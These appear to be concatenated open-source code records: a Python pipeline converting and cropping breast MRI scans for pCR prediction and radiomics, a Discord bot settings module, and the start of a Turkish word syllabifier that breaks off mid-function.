\u7528\u4e8e\u751f\u6210\u7f57\u5217\u6570\u636e\u96c6\u7684\u6bcf\u4e2a\u75c5\u4eba\u7684\u540d\u79f0\ndef get_file_list_by_name(file_path):\n dir_list = os.listdir(file_path)\n if not dir_list:\n return\n else:\n # dir_list = sorted(os.listdir(file_path)) # \u6587\u4ef6\u540d\u6309\u5b57\u6bcd\u6392\u5e8f\n dir_list = os.listdir(file_path)\n print(dir_list)\n dir_list.sort(key=sort_key)\n print(dir_list)\n return dir_list\n\n\n'''\n \u5c06.dcm\u683c\u5f0f\u5e8f\u5217\u56fe\u50cf\u8f6c\u5316\u4e3a.nii\u683c\u5f0f\n'''\ndef addFileMetaInfo(file_path, new_floder, new_name):\n # bytestream = b'\\x02\\x00\\x02\\x00\\x55\\x49\\x16\\x00\\x31\\x2e\\x32\\x2e\\x38\\x34\\x30\\x2e\\x31' \\\n # b'\\x30\\x30\\x30\\x38\\x2e\\x35\\x2e\\x31\\x2e\\x31\\x2e\\x39\\x00\\x02\\x00\\x10\\x00' \\\n # b'\\x55\\x49\\x12\\x00\\x31\\x2e\\x32\\x2e\\x38\\x34\\x30\\x2e\\x31\\x30\\x30\\x30\\x38' \\\n # b'\\x2e\\x31\\x2e\\x32\\x00\\x20\\x20\\x10\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x20\\x20' \\\n # b'\\x20\\x00\\x06\\x00\\x00\\x00\\x4e\\x4f\\x52\\x4d\\x41\\x4c'\n #\n # fp = BytesIO(bytestream)\n # ds = read_file(fp, force=True)\n # print(ds)\n\n # Manually add the preamble\n fp = BytesIO()\n fp.write(b'\\x00' * 128)\n fp.write(b'DICM')\n\n # Add the contents of the file\n f = open(file_path, 'rb')\n fp.write(f.read())\n f.close()\n fp.seek(0)\n\n # Read the dataset\n ds = read_file(fp)\n # print(ds)\n if not os.path.exists(new_floder):\n os.makedirs(new_floder)\n ds.save_as(os.path.join(new_floder, new_name))\n\n# \u9ed8\u8ba4\u53c2\u6570\u964d\u4f4e\u8c03\u7528\u51fd\u6570\u7684\u96be\u5ea6\ndef addFloderMetaInfo(old_folder, new_folder, new_name=\"\"):\n # \u5f97\u5230\u65e7\u6587\u4ef6\u5939\u7684\u6bcf\u4e2a\u6587\u4ef6\n # \u6309\u7167\u5b57\u6bcd\u6392\u5e8f\u5f97\u5230\u6307\u5b9a\u6587\u4ef6\u5939\u4e0b\u5305\u542b\u6587\u4ef6\u7684\u540d\u5b57\u7684\u5217\u8868\n dcm_file_list = listDir(old_folder)\n print(dcm_file_list)\n print(dcm_file_list.__len__())\n # \u904d\u5386list\n for x in dcm_file_list:\n addFileMetaInfo(os.path.join(old_folder, x), new_folder, x)\n return dcm_file_list.__len__()\n\n\ndef listDir(folder_path):\n # \u53ea\u4fdd\u7559\u4ee5dicom\u7ed3\u5c3e\u7684\u6587\u4ef6\n # return os.listdir(folder_path)\n return list(filter(lambda f: str(f).endswith('dcm'), os.listdir(folder_path)))\n\n#.dicom\u8f6c\u6362\u4e3a.nii\ndef dicom2nii(original_dicom_directory: str, output_file: str):\n dicom2nifti.dicom_series_to_nifti(original_dicom_directory, output_file, reorient_nifti=False)\n\ndef dicom2nii2(original_dicom_directory: str, output_file: str):\n reader = sitk.ImageSeriesReader()\n dicom_names = reader.GetGDCMSeriesFileNames(original_dicom_directory)\n reader.SetFileNames(dicom_names)\n image2 = reader.Execute()\n image_array = sitk.GetArrayFromImage(image2) # z, y, x\n origin = image2.GetOrigin() # x, y, z\n spacing = image2.GetSpacing() # x, y, z\n # image3=sitk.GetImageFromArray(image3)##\u5176\u4ed6\u4e09\u7ef4\u6570\u636e\u4fee\u6539\u539f\u672c\u7684\u6570\u636e\uff0c\n sitk.WriteImage(image2,output_file) #\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u6362\u6210image2 \u8fd9\u6837\u5c31\u4fdd\u5b58\u4e86\u539f\u6765\u7684\u6570\u636e\u6210\u4e86nii\u683c\u5f0f\u4e86\u3002\n\ndef breast_dicom2nii():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_update.csv')\n dir_list = pCR_info_df[\"\u5f71\u50cf\u53f7\"].astype(str) + \" \" +pCR_info_df['\u75c5\u4eba\u59d3\u540d'].astype(str)\n mass_labe_name_list = pCR_info_df['label\u540d\u79f0']\n slice = 0\n # isAddMetaInfo = False\n # isAddMetaInfo = True\n isCopyLabelFile = True\n\n for number in range(253, 308):\n patient_name = dir_list.get(number)\n mass_labe_name = mass_labe_name_list.get(number)\n number = number + 1\n nii_directory = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d' % number\n if not os.path.exists(nii_directory):\n os.makedirs(nii_directory)\n if isCopyLabelFile:\n label_nii_path = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii' % (\n number, number)\n # \u9996\u5148\u5c06mass-label.nii\u590d\u5236\u5230\u76ee\u6807\u6587\u4ef6\u5939\u4e2d\n shutil.copyfile(os.path.join(default_directory, patient_name, mass_labe_name + \"-label.nii\"), label_nii_path)\n for j in range(1, 6):\n basic_ph_name_list = [\n # 'Ph%d_Dyn Ax Vibrant 5p' % j,\n 'Ph%d_dyn Ax Vibrant 5p' % j,\n 'ax VIBRANT-FLEX Ph%d' % j,\n 'Ph%d:Dyn Ax Vibrant 5p' % j,\n 'Ax VIBRANT-Flex Ph%d' % j,\n 'Dyn Ax Vibrant Ph%d' % j,\n '50%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '50%d-WATER_ Ph%d/Ax VIBRANT-Flex' % (j, j),\n '50%d-WATER_ Ph%d' % (j, j),\n '60%d-Ph%d/Sag Vibrant SinglePhase' % (j, j),\n '60%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '60%d-WATER_ Ph%d/Sag VIBRANT-Flex' % (j, j),\n '70%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '70%d-Ph%d/Sag Vibrant SinglePhase' % (j, j),\n 'WATER_ Ph%d_Ax VIBRANT-Flex' % j,\n ]\n for basic_ph_name in basic_ph_name_list:\n original_dicom_directory = os.path.join(default_directory, patient_name, basic_ph_name)\n if os.path.exists(original_dicom_directory):\n basic_ph_name1 = basic_ph_name\n break\n\n fune_dicom_directory = os.path.join(fune_directory, patient_name, 'ph%d' % j)\n final_directory = os.path.join(nii_directory, 'Breast_Training_%03d_ph%d.nii' % (number, j))\n try:\n isAddMetaInfo = True\n # original_dicom_directory->fune_dicom_directory\n slice = addFloderMetaInfo(original_dicom_directory, new_folder=fune_dicom_directory)\n # fune_dicom_directory->final_directory\n dicom2nii(fune_dicom_directory, final_directory)\n except (ConversionError, FileNotFoundError, ValueError):\n print(\"Oops! FileNotFoundError: [WinError 3] \u7cfb\u7edf\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u8def\u5f84\u3002\")\n isAddMetaInfo = False\n slice = listDir(original_dicom_directory).__len__()\n dicom2nii(original_dicom_directory, final_directory)\n print(final_directory + ' Done!')\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': str(number),\n 'File_Path': basic_ph_name1,\n 'Patient_ID Patient_Name': patient_name,\n 'Breast_subject_ID': 'Breast_Training_%03d' % number,\n 'Slice': slice,\n 'remark': isAddMetaInfo}]\n df = pd.DataFrame(add_data)\n df.to_csv(name_mapping_path, index=None, mode='a', header=None)\n\n\ndef breast_dicom2nii_t2():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_update.csv')\n dir_list = pCR_info_df[\"\u5f71\u50cf\u53f7\"].astype(str) + \" \" +pCR_info_df['\u75c5\u4eba\u59d3\u540d'].astype(str)\n mass_labe_name_list = pCR_info_df['label\u540d\u79f0']\n slice = 0\n isAddMetaInfo = False\n # isAddMetaInfo = True\n isCopyLabelFile = False\n\n for number in range(0, 308):\n patient_name = dir_list.get(number)\n mass_labe_name = mass_labe_name_list.get(number)\n number = number + 1\n nii_directory = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d' % number\n if not os.path.exists(nii_directory):\n os.makedirs(nii_directory)\n if isCopyLabelFile:\n label_nii_path = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii' % (\n number, number)\n # \u9996\u5148\u5c06mass-label.nii\u590d\u5236\u5230\u76ee\u6807\u6587\u4ef6\u5939\u4e2d\n shutil.copyfile(os.path.join(default_directory, patient_name, mass_labe_name + \"-label.nii\"), label_nii_path)\n basic_ph_name_list = [\n 'IDEAL T2',\n ]\n for basic_ph_name in basic_ph_name_list:\n original_dicom_directory = os.path.join(default_directory, patient_name, basic_ph_name)\n if os.path.exists(original_dicom_directory):\n basic_ph_name1 = basic_ph_name\n break\n\n fune_dicom_directory = os.path.join(fune_directory, patient_name, 't2')\n final_directory = os.path.join(nii_directory, 'Breast_Training_%03d_t2.nii' % (number))\n if isAddMetaInfo:\n # original_dicom_directory->fune_dicom_directory\n slice = addFloderMetaInfo(original_dicom_directory, new_folder=fune_dicom_directory)\n # fune_dicom_directory->final_directory\n dicom2nii(fune_dicom_directory, final_directory)\n else:\n slice = listDir(original_dicom_directory).__len__()\n dicom2nii(original_dicom_directory, final_directory)\n print(final_directory + ' Done!')\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': str(number),\n 'File_Path': basic_ph_name1,\n 'Patient_ID Patient_Name': patient_name,\n 'Breast_subject_ID': 'Breast_Training_%03d' % number,\n 'Slice': slice,\n 'remark': isAddMetaInfo}]\n df = pd.DataFrame(add_data)\n df.to_csv(name_mapping_path, index=None, mode='a', header=None)\n\n'''\n .h5\u8f6c\u5316\u4e3a.nii\u6587\u4ef6\n'''\ndef h5ToNII():\n dataset = h5py.File('D:\\Desktop\\SSL4MIS\\data\\BraTS2019\\data\\BraTS19_TCIA01_131_1.h5', 'r') # \u6307\u5b9ah5\u6587\u4ef6\u7684\u8def\u5f84\n savepath = \"D:\\Desktop\\SSL4MIS\\data\\BraTS2019\\data(nii)\" # \u53e6\u5b58\u4e3anii\u6587\u4ef6\u7684\u8def\u5f84\n first_level_keys = [key for key in dataset.keys()]\n for first_level_key in first_level_keys:\n if not os.path.exists(os.path.join(savepath, first_level_key)):\n os.makedirs(os.path.join(savepath, first_level_key))\n\n image_arr = np.array(dataset[first_level_key])\n img = sitk.GetImageFromArray(image_arr)\n img.SetSpacing([1.0, 1.0, 1.0]) # \u6839\u636e\u9700\u6c42\u4fee\u6539spacing\n sitk.WriteImage(img, os.path.join(savepath, first_level_key, \"BraTS19_TCIA01_131_1.nii.gz\"))\n print(first_level_key)\n\n'''\n \u53d6\u51fa\u8981\u9884\u6d4b\u7684\u75c5\u53d8\u533a\u57df\uff0c\u5411\u56db\u4e2a\u65b9\u5411\u5ef6\u753364\u50cf\u7d20\uff0c\u5f97\u5230voi\u533a\u57df=128*128*64\n'''\ndef crop_mass_area():\n\n # ERROR_LIST = [10, 59, 64, 67, 73, 76, 85, 162, 165, 175, 259]\n # for i in ERROR_LIST:\n for i in range(1, 309):\n folder_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d\" % (i)\n if(os.path.exists(folder_path)):\n file_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii\" % (i, i)\n mri_default_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d\" % (i, i)\n # nilearn\u8bfb\u53d6\u6570\u636e\n roi_img = nib.load(file_path)\n affine = roi_img\n roi_data = roi_img.get_data()\n # \u5f97\u5230\u6709label\u6807\u8bb0\u7684slice\u548c\u603b\u5c42\u6570\n label_slice_list = []\n label_slice_sum = 0\n for k in range(roi_data.shape[2]):\n test_slice = roi_data[:, :, k]\n if test_slice.max() > 0:\n label_slice_list.append(k)\n label_slice_sum += 1\n print('roi data shape:', label_slice_sum)\n # ndimage\u83b7\u53d6\u6570\u7ec4\u7684\u8d28\u5fc3\n CM = ndimage.measurements.center_of_mass(roi_data)\n # \u624b\u52a8\u8c03\u7528\u5185\u7f6e\u51fd\u6570\u6765\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n x = int(CM[0])\n y = int(CM[1])\n z = int(CM[2])\n # \u5b9a\u4e49\u504f\u79fb\u91cf\n offsetX = 96\n offsetY = 96\n offsetZ = 24\n # \u4fdd\u5b58\u4e3anii\u6587\u4ef6\n # nib.Nifti1Image(voi_mri_data).to_filename('Breast_Training_002_ph2_voi.nii')\n # voi_mri_data.to_filename('Breast_Training_002_ph2_voi.nii')\n # nib.save(voi_mri_data, os.path.join(folder_path, 'Breast_Training_002_ph2_voi.nii'))\n # \u5bf96\u4e2a\u9636\u6bb5\n for j in range(1, 6):\n mri_path = mri_default_path + \"_ph\" + str(j) + \".nii\"\n mri_img = nib.load(mri_path)\n mri_data = mri_img.get_data()\n # \u4e09\u7ef4\u6570\u7ec4\u7684\u5207\u7247 mri shape -> (512, 512, 92) voi mri shape -> (256, 256, 64)/(255, 255, 63)\n # \u5904\u7406\u7279\u6b8a\u60c5\u51b5\n # \u5f53 mri shape -> (136, 256, 256)\n # \u5f53 roi shape -> (256, 256, 136)\n if mri_data.shape != roi_data.shape:\n if mri_data.shape[0] == roi_data.shape[2]:\n # mri_data = np.moveaxis(mri_data, 0, -1)\n mri_data = np.moveaxis(mri_data, (0, 1, 2), (2, 1, 0))\n\n xshape = mri_data.shape[0]\n # \u56e0\u4e3a\u56fe\u50cf\u548clabel\u5728x\u65b9\u5411\u4e0a\u662f\u53cd\u7684mri_data = np.moveaxis(mri_data, (0, 1, 2), (2, 1, 0))\n # \u9700\u8981\u5c06\u56fe\u50cf\u6570\u636e\u8fdb\u884c\u5de6\u53f3\u53cd\u8f6c\n # \u4e00\u4e2aexample:\n # \u5f53x=165 y=272 z=66\u65f6 \u6b64\u65f6shape_x=512 shape_y=512 shape_z=104\n # mri_data\u53d6[(512-165)-64:(512-165)+64, 272-64:272+64, 66-4:66+4]\n # roi_data\u53d6[165-64:165+64, 272-64:272+64, 66-4:66+4]\n\n # \u5904\u7406\u8981\u622a\u53d6\u7684\u5c42\u6570\u8d85\u51fa\u603b\u5c42\u6570\u8303\u56f4\u7684\u60c5\u51b5\uff1a\n # \u5982\u679cz-offsetZ<0||z+offsetZ>shape_z\n # \u9996\u5148\u5f97\u5230delta=0-(z-offsetZ)||delta=(z+offsetZ)-shape_z\n # \u91cd\u65b0\u5f97\u5230\u8d28\u5fc3z\u7684\u5c42\u6570\uff1az+delta||z-delta\n if (xshape - x) - offsetX < 0:\n delta = 0 - ((xshape - x) - offsetX)\n x = x - delta\n elif (xshape - x) + offsetX > mri_data.shape[0]:\n delta = (xshape - x) + offsetX - mri_data.shape[0]\n x = x + delta\n if y - offsetY < 0:\n delta = 0 - (y - offsetY)\n y = y + delta\n elif y + offsetY > mri_data.shape[1]:\n delta = y + offsetY - mri_data.shape[1]\n y = y - delta\n if z - offsetZ < 0:\n delta = 0 - (z - offsetZ)\n z = z + delta\n elif z + offsetZ > mri_data.shape[2]:\n delta = z + offsetZ - mri_data.shape[2]\n z = z - delta\n voi_mri_data = mri_data[(xshape - x) - offsetX:(xshape - x) + offsetX,\n y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n voi_mri_data = np.flip(voi_mri_data, axis=0)\n # voi_mri_data = mri_data[x - offsetX:x + offsetX, y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n # voi_mri_data = mri_data[(-x) - offsetX:(-x) + offsetX, (-y) - offsetY:(-y) + offsetY, z - offsetZ:z + offsetZ]\n pair_img = nib.Nifti1Pair(voi_mri_data, np.eye(4))\n nib.save(pair_img, os.path.join(folder_path, 'Breast_Training_%03d_ph%d_voi_192x192x48.nii' % (i, j)))\n\n # \u5bf9label\u4e09\u7ef4\u6570\u7ec4\u540c\u6837\u5207\u7247\n voi_data = roi_data[x - offsetX:x + offsetX, y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n pair_img = nib.Nifti1Pair(voi_data, np.eye(4))\n nib.save(pair_img, os.path.join(folder_path, 'Breast_Training_%03d_seg_voi_192x192x48.nii' % (i)))\n\n # \u8f93\u51fa\u5207\u7247\u540e\u5927\u5c0f\n print(\"mri shape ->\", mri_data.shape)\n print(\"roi shape ->\", roi_data.shape)\n print(\"voi mri shape ->\", voi_mri_data.shape)\n\n def list_or_tuple_to_string(list1):\n return '('+' '.join(str(e) for e in list1)+')'\n\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': 'Breast_Training_%03d' % i, 'CM': list_or_tuple_to_string(CM), 'Shape:': list_or_tuple_to_string(mri_data.shape), 'labelSlice': list_or_tuple_to_string(label_slice_list), 'labelSlicesum': label_slice_sum, 'voiDataShape': voi_mri_data.shape}]\n df = pd.DataFrame(add_data)\n df.to_csv(output_label_info, index=None, mode='a', header=None)\n\n'''\n for seg h5 dataset\n \u5c06.nii\u8f6c\u5316\u4e3a.h5\u6587\u4ef6\n \u8f93\u5165\u8bad\u7ec3\u96c6\u7684\u539f\u56fe\u548clabel\uff0c\u8f93\u51fah5\u6587\u4ef6\n \u5148\u9009\u53d6\u4f5c\u4e3a\u793a\u4f8b\n \u4e00\u4e2ah5\u4e2d\uff0c\u5305\u542b\u4e00\u4e2aph1/ph3/ph5\u9636\u6bb5image\u548clabel\n \"image\":(3, 128, 128, 64)\n \"label\":(1, 128, 128, 64)\n'''\ndata_types = ['_ph1_voi_debug.nii', '_ph3_voi_debug.nii', '_ph5_voi_debug.nii']\ndef nii2h5_seg():\n # \u4fee\u6539h5\u5b58\u653e\u8def\u5f84\n h5py_path = 'D:\\Desktop\\BREAST\\BREAST\\data'\n # h5py_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation-h5/Breast_TrainingData'\n id_num = 0\n for id_ in sorted(os.listdir(root_path)):\n # \u8f7d\u5165\u6240\u6709image\u6a21\u6001\n images = []\n for data_type in data_types:\n img_path = os.path.join(root_path, id_, id_ + data_type)\n img = sitk.GetArrayFromImage(sitk.ReadImage(img_path)) # (64, 128, 128)\n # img = (img - img.min()) / (img.max() - img.min())\n images.append(img)\n img = np.stack(images) # (3, 64, 128, 128)\n img = np.moveaxis(img, (0, 1, 2, 3), (0, 3, 2, 1)) # (3, 128, 128, 64)\n # \u8f7d\u5165label\u6a21\u6001\n mask_path = os.path.join(root_path, id_, id_ + '_seg_voi_debug.nii')\n mask = sitk.GetArrayFromImage(sitk.ReadImage(mask_path)) # (64, 128, 128)\n # mask = np.clip(mask.astype(np.uint8), 0, 1).astype(np.float32)\n # mask = np.clip(mask, 0, 1)\n mask = mask[None, :, :, :] # (1, 128, 128, 64)\n mask = np.moveaxis(mask, (0, 1, 2, 3), (0, 3, 2, 1))\n print('img.shape[1:3]:', img.shape[1:4], mask.shape[1:4])\n if img.shape[1:4] != mask.shape[1:4]:\n print(\"Error\")\n f = h5py.File(os.path.join(h5py_path, id_ + '_ph135_seg.h5'), 'w')\n f.create_dataset('image', data=img, compression=\"gzip\")\n f.create_dataset('label', data=mask, compression=\"gzip\")\n f.close()\n id_num += 1\n print(\"Converted total {} niis to h5 files\".format(id_num))\n\n'''\n for classification h5 dataset\n \u5c06.nii\u8f6c\u5316\u4e3a.h5\u6587\u4ef6\n \u8f93\u5165\u8bad\u7ec3\u96c6\u7684\u539f\u56fe\u548clabel\uff0c\u8f93\u51fah5\u6587\u4ef6\n \u5148\u9009\u53d6\u4f5c\u4e3a\u793a\u4f8b\n \u4e00\u4e2ah5\u4e2d\uff0c\u5305\u542b\u4e00\u4e2aph1/ph3/ph5\u9636\u6bb5image\u548clabel\n \"image\":(3, 128, 128, 64)\n \"label\":(1,) 0-pCR 1-non-pCR\n'''\ndef nii2h5_classification():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv('D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_ori.csv')\n name_mapping_df = pd.read_csv(name_mapping_path)\n name_mapping_df.rename({'Number': 'ID'}, axis=1, inplace=True)\n df = pCR_info_df.merge(name_mapping_df, on=\"ID\", how=\"right\")\n # \u4fee\u6539h5\u5b58\u653e\u8def\u5f84\n h5py_path = 'D:\\Desktop\\BREAST\\BREAST\\data'\n # h5py_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation-h5/Breast_TrainingData'\n id_num = 0\n for id_ in sorted(os.listdir(root_path)):\n # \u8f7d\u5165\u6240\u6709image\u6a21\u6001\n images = []\n for data_type in data_types:\n img_path = os.path.join(root_path, id_, id_ + data_type)\n img = sitk.GetArrayFromImage(sitk.ReadImage(img_path)) # (64, 128, 128)\n # img = (img - img.min()) / (img.max() - img.min())\n images.append(img)\n img = np.stack(images) # (3, 64, 128, 128)\n # img = np.moveaxis(img, (0, 1, 2, 3), (0, 3, 2, 1)) # (3, 128, 128, 64)\n # \u8f7d\u5165label\u6a21\u6001\n # \u6839\u636eBreast_subject_ID\u8fd4\u56deID\n index = df['Breast_subject_ID'][df['Breast_subject_ID'].values == id_].index\n # \u6839\u636eID\u8fd4\u56de\u201c\u75c5\u7406\u5b8c\u5168\u7f13\u89e3\u201d\n pCR_label = (df['\u75c5\u7406\u5b8c\u5168\u7f13\u89e3'][index.values[0]], ) # 0/1\n f = h5py.File(os.path.join(h5py_path, id_ + '_ph135_cls.h5'), 'w')\n f.create_dataset('image', data=img, compression=\"gzip\")\n f.create_dataset('label', data=pCR_label, compression=\"gzip\")\n f.close()\n id_num += 1\n print(\"Converted total {} niis to h5 files\".format(id_num))\n\n# \u4f7f\u7528N4BiasFieldCorrection\u53ef\u4ee5\u6821\u6b63\u504f\u5dee\u57df\ndef correct_bias():\n for i in range(1, 309):\n folder_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d\" % (i)\n if(os.path.exists(folder_path)):\n mri_default_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d\" % (i, i)\n correct = N4BiasFieldCorrection()\n # \u5bf96\u4e2a\u9636\u6bb5\n for j in range(1, 6):\n mri_path = mri_default_path + \"_ph\" + str(j) + \".nii\"\n out_mri_path = mri_default_path + \"_ph\" + str(j) + \"_N4Bias\"+\".nii\"\n # \u4f7f\u7528N4BiasFieldCorrection\u6821\u6b63MRI\u56fe\u50cf\u7684\u504f\u7f6e\u573a\n correct.inputs.input_image = mri_path\n correct.inputs.output_image = out_mri_path\n done = correct.run()\n # done.outputs.output_image\n # input_image = sitk.ReadImage(mri_path, sitk.sitkFloat64)\n # output_image = sitk.N4BiasFieldCorrection(input_image, input_image > 0)\n # sitk.WriteImage(output_image, out_mri_path)\n\n\n# \u8fdb\u884c\u7279\u5f81\u5339\u914d\u5e76\u5c06\u5339\u914d\u7684\u7279\u5f81\u4fdd\u5b58\u5230csv\u6587\u4ef6\u4e2d\n# pyradiomics \u4f7f\u7528\u793a\u4f8b\ndata_types = ['_ph1.nii', '_ph3.nii', '_ph5.nii', '_seg.nii']\ndata_types_name = ['dceph1', 'dceph3', 'dceph5', 'seg']\ndef feature_and_save_as_csv():\n default_prefix = 'D:/Desktop/BREAST/BREAST/'\n dce_train_data = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData'\n name_mapping_path = default_prefix + 'breast-dataset-training-validation/Breast_meta_data/breast_name_mapping.csv'\n para_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Params.yml'\n\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_ori.csv')\n name_mapping_df = pd.read_csv(name_mapping_path)\n name_mapping_df.rename({'Number': 'ID'}, axis=1, inplace=True)\n df = pCR_info_df.merge(name_mapping_df, on=\"ID\", how=\"right\")\n\n # \u6587\u4ef6\u5168\u90e8\u8def\u5f84\n files = []\n for id_ in sorted(os.listdir(dce_train_data)):\n file = {}\n for data_type, data_type_name in zip(data_types, data_types_name):\n file[data_type_name] = os.path.join(dce_train_data, id_, id_ + data_type)\n index = df['Breast_subject_ID'][df['Breast_subject_ID'].values == id_].index\n pCR_label = df['\u75c5\u7406\u5b8c\u5168\u7f13\u89e3'][index.values[0]] # 0/1\n file[\"id\"] = id_\n file[\"label\"] = pCR_label\n files.append(file)\n\n # \u5bf9\u4e8e\u6bcf\u4e2a\u75c5\u4f8b\u4f7f\u7528\u914d\u7f6e\u6587\u4ef6\u521d\u59cb\u5316\u7279\u5f81\u62bd\u53d6\u5668\n result = {}\n all_dic = []\n extractor = FEE.RadiomicsFeatureExtractor(para_path)\n # print(\"Extraction parameters:\\n\\t\", extractor.settings)\n # print(\"Enabled filters:\\n\\t\", extractor.enabledImagetypes)\n # print(\"Enabled features:\\n\\t\", extractor.enabledFeatures)\n for file in files:\n data_type_seg = data_types_name[-1]\n for data_type_except_seg in data_types_name[:-1]:\n # \u8fd0\u884c\n result = extractor.execute(file[data_type_except_seg], file[data_type_seg]) # \u62bd\u53d6\u7279\u5f81\n # print(\"Result type:\", type(result)) # result is returned in a Python ordered dictionary\n print(\"Calculated features:\", file[\"id\"], data_type_except_seg)\n # for key, value in result.items(): # \u8f93\u51fa\u7279\u5f81\n # print(\"\\t\", key, \":\", value)\n # dic[key] = value\n result['pid'] = file[\"id\"]\n result['modal'] = data_type_seg\n # result['age'] =\n # result['sex'] =\n result['label'] = file[\"label\"]\n all_dic.append(result)\n\n df = pd.DataFrame(all_dic)\n print(df)\n df.to_csv('D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/breast_input_ph135.csv')\n\nif __name__ == '__main__':\n breast_dicom2nii()\n # breast_dicom2nii_t2()\n # correct_bias()\n # crop_mass_area()\n # nii2h5_seg()\n # nii2h5_classification()\n # feature_and_save_as_csv()\n\n", "source": "TheSeaOfStars123/SSL4MIS", "license": "MIT"}
+{"text": "\"\"\"\nEmojiWizard is a project licensed under GNU Affero General Public License.\nCopyright (C) 2022-present Achxy\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License as\npublished by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see .\n\"\"\"\nfrom typing import Final\n\nfrom discord import AllowedMentions, Intents\n\n__all__: Final[tuple[str, ...]] = (\n \"DEFAULT_PREFIX\",\n \"INTENTS\",\n \"ALLOWED_MENTIONS\",\n \"LOGGING_FORMAT\",\n)\n\n\nDEFAULT_PREFIX: Final[tuple[str, ...]] = (\"!\", \"wiz \")\nINTENTS: Final[Intents] = Intents(\n guilds=True,\n members=True,\n bans=False,\n emojis_and_stickers=True,\n integrations=False,\n webhooks=False,\n invites=False,\n voice_states=False,\n presences=False,\n messages=True,\n reactions=True,\n typing=False,\n message_content=True,\n guild_scheduled_events=False,\n)\nALLOWED_MENTIONS: Final[AllowedMentions] = AllowedMentions.none()\nALLOWED_MENTIONS.replied_user = True\n\nLOGGING_FORMAT: Final[str] = \"[%(levelname)s] [%(asctime)s] %(message)s\"\n", "source": "Achxy/emoji-alchemist", "license": "MIT"}
+{"text": "from typing import List, Iterator\nfrom string import punctuation\n\nfrom .alphabet import VOWELS, ALPHABET, CONSONANTS, LONG_VOWELS\nfrom .classifications.letter_types import LetterType\nfrom .classifications.syllable_types import SyllableType\n\n\ndef hecele(text: str) -> List[str]:\n \"\"\"Syllabifies the specified text.\n\n >>> hecele(\"merhaba\")\n [\"mer\", \"ha\", ba\"]\n >>> hecele(\"ortaokul\")\n [\"or\", \"ta\", \"o\", \"kul\"]\n \"\"\"\n\n def next_vowel(text: str, cur: int) -> int:\n index = cur\n while True:\n if index + 1 >= len(text):\n return cur\n if text[index + 1] in VOWELS:\n return index + 1\n index += 1\n\n def are_there_letters_between(text, start, end, alphabet=ALPHABET):\n part = text[start + 1: end]\n for character in part:\n if character in alphabet:\n return True\n return False\n\n def previous_letter(text, end, stop_characters=f\"{ALPHABET}{punctuation}\"):\n index = end - 1\n while True:\n if text[index] in stop_characters:\n break\n index -= 1\n if index <= 0:\n break\n return index\n\n current_vowel_index = next_vowel(text, -1)\n syllables = []\n last_syllable_index = 0\n while True:\n next_vowel_index = next_vowel(text, current_vowel_index)\n if next_vowel_index == current_vowel_index: # This is the last vowel\n syllables.append(text[last_syllable_index:])\n break\n elif (\n not are_there_letters_between(text, current_vowel_index,\n next_vowel_index)): # There are two neighbor vowels (sa/at)\n 